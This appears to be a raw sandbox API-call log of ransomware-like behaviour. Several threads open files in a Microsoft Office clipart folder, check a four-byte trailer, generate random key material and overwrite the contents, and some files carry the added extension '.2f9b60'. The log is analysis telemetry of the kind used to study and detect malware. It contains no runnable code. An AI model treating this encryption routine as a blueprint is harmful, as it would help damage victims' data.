[0162.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18420) returned 1 [0162.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0162.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058240) returned 1 [0162.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14630 [0162.270] SetFilePointerEx (in: hFile=0x21e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.270] WriteFile (in: hFile=0x21e8, lpBuffer=0x42c14630*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d6cfc50, lpOverlapped=0x0 | out: lpBuffer=0x42c14630*, lpNumberOfBytesWritten=0x2d6cfc50*=0x10a, lpOverlapped=0x0) returned 1 [0164.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4690 [0164.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4690) returned 1 [0164.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4690 [0164.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4660 [0164.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4660) returned 1 [0164.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.440] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="e9") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="06") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="99") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="68") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="24") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="66") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="33") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="9b") returned 2 [0164.440] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="9b") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.441] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="55") returned 2 [0164.441] RtlInitAnsiString (in: DestinationString=0x2d6cfcc8, SourceString="e6e94a060e9968245fc16633ac9bfbec9de55afb9b6b0e55" | out: DestinationString="e6e94a060e9968245fc16633ac9bfbec9de55afb9b6b0e55") [0164.441] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d6cfc98, SourceString="e6e94a060e9968245fc16633ac9bfbec9de55afb9b6b0e55", AllocateDestinationString=1 | out: DestinationString="e6e94a060e9968245fc16633ac9bfbec9de55afb9b6b0e55") returned 0x0 [0164.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14b90 [0164.442] RtlFreeAnsiString (AnsiString="e") [0164.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4690) returned 1 [0164.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14630) returned 1 [0164.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183c0) returned 1 [0164.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183f0) returned 1 [0164.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18390) returned 1 [0164.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18360) returned 1 [0164.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4630) returned 1 [0164.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46f0) returned 1 [0164.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4720) returned 1 [0164.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30310 [0164.445] wcscat (in: _Dest=0x42c30310, _Source="e6e94a060e99" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99" [0164.445] wcscat (in: _Dest=0x42c30310, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99.2f9b60" [0164.445] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99.2f9b60", NtPathName=0x2d6cfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e6e94a060e99.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bf50 Thread: id = 2372 os_tid = 0x1d74 [0150.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\df2e819951a7.2f9b60")) returned 0x20 [0150.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60", dwFileAttributes=0x20) returned 1 [0150.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\df2e819951a7.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ec [0150.275] GetFileSizeEx (in: hFile=0x21ec, lpFileSize=0x2d8cfae0 | out: lpFileSize=0x2d8cfae0*=29214) returned 1 [0150.275] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x721a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.275] ReadFile (in: hFile=0x21ec, lpBuffer=0x2d8cfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d8cfaa8, lpOverlapped=0x0 | out: lpBuffer=0x2d8cfa60*, lpNumberOfBytesRead=0x2d8cfaa8*=0x4, lpOverlapped=0x0) returned 1 [0150.276] FlushFileBuffers (hFile=0x21ec) returned 1 [0150.283] CloseHandle (hObject=0x21ec) returned 1 [0150.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60", dwFileAttributes=0x20) returned 1 [0150.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0330) returned 1 Thread: id = 2373 os_tid = 0x1d78 [0150.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e20c5eba722c.2f9b60")) returned 0x20 [0150.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60", dwFileAttributes=0x20) returned 1 [0150.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e20c5eba722c.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.282] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x2dcdf820 | out: lpFileSize=0x2dcdf820*=5282) returned 1 [0150.282] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x149e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.282] ReadFile (in: hFile=0x21f0, lpBuffer=0x2dcdf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dcdf7e8, lpOverlapped=0x0 | out: lpBuffer=0x2dcdf7a0*, lpNumberOfBytesRead=0x2dcdf7e8*=0x4, lpOverlapped=0x0) returned 1 [0150.282] FlushFileBuffers (hFile=0x21f0) returned 1 [0150.286] CloseHandle (hObject=0x21f0) returned 1 [0150.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60", dwFileAttributes=0x20) returned 1 [0150.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b01f0) returned 1 Thread: id = 2374 os_tid = 0x1d7c [0150.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e20d542df159.2f9b60")) returned 0x20 [0150.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60", dwFileAttributes=0x20) returned 1 [0150.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e20d542df159.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.291] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x2dd7f820 | out: lpFileSize=0x2dd7f820*=7952) returned 1 [0150.291] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x1f0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.291] ReadFile (in: hFile=0x21f0, lpBuffer=0x2dd7f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dd7f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2dd7f7a0*, lpNumberOfBytesRead=0x2dd7f7e8*=0x4, lpOverlapped=0x0) returned 1 [0150.292] FlushFileBuffers (hFile=0x21f0) returned 1 [0150.293] CloseHandle (hObject=0x21f0) returned 1 [0150.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60", dwFileAttributes=0x20) returned 1 [0150.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 Thread: id = 2375 os_tid = 0x1d80 [0150.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e93de0b1c0f2.2f9b60")) returned 0x20 [0150.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60", dwFileAttributes=0x20) returned 1 [0150.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e93de0b1c0f2.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.298] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x24ccf960 | out: lpFileSize=0x24ccf960*=4162) returned 1 [0150.298] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x103e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.298] ReadFile (in: hFile=0x21f0, lpBuffer=0x24ccf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24ccf928, lpOverlapped=0x0 | out: lpBuffer=0x24ccf8e0*, lpNumberOfBytesRead=0x24ccf928*=0x4, lpOverlapped=0x0) returned 1 [0150.299] FlushFileBuffers (hFile=0x21f0) returned 1 [0150.300] CloseHandle (hObject=0x21f0) returned 1 [0150.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60", dwFileAttributes=0x20) returned 1 [0150.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205072b0) returned 1 Thread: id = 2376 os_tid = 0x1d84 [0150.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e9e5e74e74d4.2f9b60")) returned 0x20 [0150.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60", dwFileAttributes=0x20) returned 1 [0150.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\e9e5e74e74d4.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.308] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x2c83f7c0 | out: lpFileSize=0x2c83f7c0*=1278) returned 1 [0150.308] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x4fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.308] ReadFile (in: hFile=0x21f0, lpBuffer=0x2c83f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c83f788, lpOverlapped=0x0 | out: lpBuffer=0x2c83f740*, lpNumberOfBytesRead=0x2c83f788*=0x4, lpOverlapped=0x0) returned 1 [0150.309] FlushFileBuffers (hFile=0x21f0) returned 1 [0150.311] CloseHandle (hObject=0x21f0) returned 1 [0150.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60", dwFileAttributes=0x20) returned 1 [0150.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507210) returned 1 Thread: id = 2377 os_tid = 0x1d88 [0150.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ea32907dfb1f.2f9b60")) returned 0x20 [0150.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60", dwFileAttributes=0x20) returned 1 [0150.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ea32907dfb1f.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.314] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x2c15fba0 | out: lpFileSize=0x2c15fba0*=15999) returned 1 [0150.314] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x3e7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.314] ReadFile (in: hFile=0x21f0, lpBuffer=0x2c15fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c15fb68, lpOverlapped=0x0 | out: lpBuffer=0x2c15fb20*, lpNumberOfBytesRead=0x2c15fb68*=0x4, lpOverlapped=0x0) returned 1 [0150.315] FlushFileBuffers (hFile=0x21f0) returned 1 [0150.316] CloseHandle (hObject=0x21f0) returned 1 [0150.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60", dwFileAttributes=0x20) returned 1 [0150.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 Thread: id = 2378 os_tid = 0x1d8c [0150.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0150.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID", dwFileAttributes=0x20) returned 1 [0150.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f0 [0150.324] GetFileSizeEx (in: hFile=0x21f0, lpFileSize=0x2de0fbc0 | out: lpFileSize=0x2de0fbc0*=6165) returned 1 [0150.324] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x1811, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.324] ReadFile (in: hFile=0x21f0, lpBuffer=0x2de0fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2de0fb88, lpOverlapped=0x0 | out: lpBuffer=0x2de0fb40*, lpNumberOfBytesRead=0x2de0fb88*=0x4, lpOverlapped=0x0) returned 1 [0150.325] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0150.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe770 [0150.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7d0 [0150.326] NtQuerySystemTime (in: CurrentTime=0x2de0fa80 | out: CurrentTime=0x2de0fa80*=132462177555394000) returned 0x0 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x15201eb6 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x67b6d3de [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0xa28f316 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x3ca6e289 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x70cfe505 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x1cecaa4 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x72305f3b [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x646cd70f [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x772cdab8 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x22062ba1 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x67cb4728 [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x30e00f1d [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x7a95ef9d [0150.326] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0xb1de90d [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x6808ec64 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x4ac5250e [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x4b5d7c69 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x700134c8 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x5b81c20 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x4336b9f9 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x31373d24 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x7b393742 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x663b0f4f [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x6cc98d21 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x6b72c721 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x6f2bc3f4 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x2ad6a32b [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x9770bd0 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x7b5404df [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x20b60efe [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x14b27288 [0150.327] RtlRandomEx (in: Seed=0x2de0fa70 | out: Seed=0x2de0fa70) returned 0x617526a8 [0150.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe800 [0150.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0150.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0150.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0150.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7d0) returned 1 [0150.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0150.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0150.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0150.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0150.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0150.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4245b5c0 [0150.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4245f1d0 [0150.336] ReadFile (in: hFile=0x21f0, lpBuffer=0x4245b5c0, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x2de0fa70, lpOverlapped=0x0 | out: lpBuffer=0x4245b5c0*, lpNumberOfBytesRead=0x2de0fa70*=0x1815, lpOverlapped=0x0) returned 1 [0150.336] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.336] WriteFile (in: hFile=0x21f0, lpBuffer=0x4245f1d0*, nNumberOfBytesToWrite=0x1815, lpNumberOfBytesWritten=0x2de0fa74, lpOverlapped=0x0 | out: lpBuffer=0x4245f1d0*, lpNumberOfBytesWritten=0x2de0fa74*=0x1815, lpOverlapped=0x0) returned 1 [0162.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18480 [0162.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c184b0 [0162.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c184b0) returned 1 [0162.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4245f1d0) returned 1 [0162.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4245b5c0) returned 1 [0162.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c184b0 [0162.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0162.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0162.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c184e0 [0162.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c184e0) returned 1 [0162.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c184e0 [0162.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18510 [0162.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18540 [0162.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18540) returned 1 [0162.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16b30 [0162.283] SetFilePointerEx (in: hFile=0x21f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.283] WriteFile (in: hFile=0x21f0, 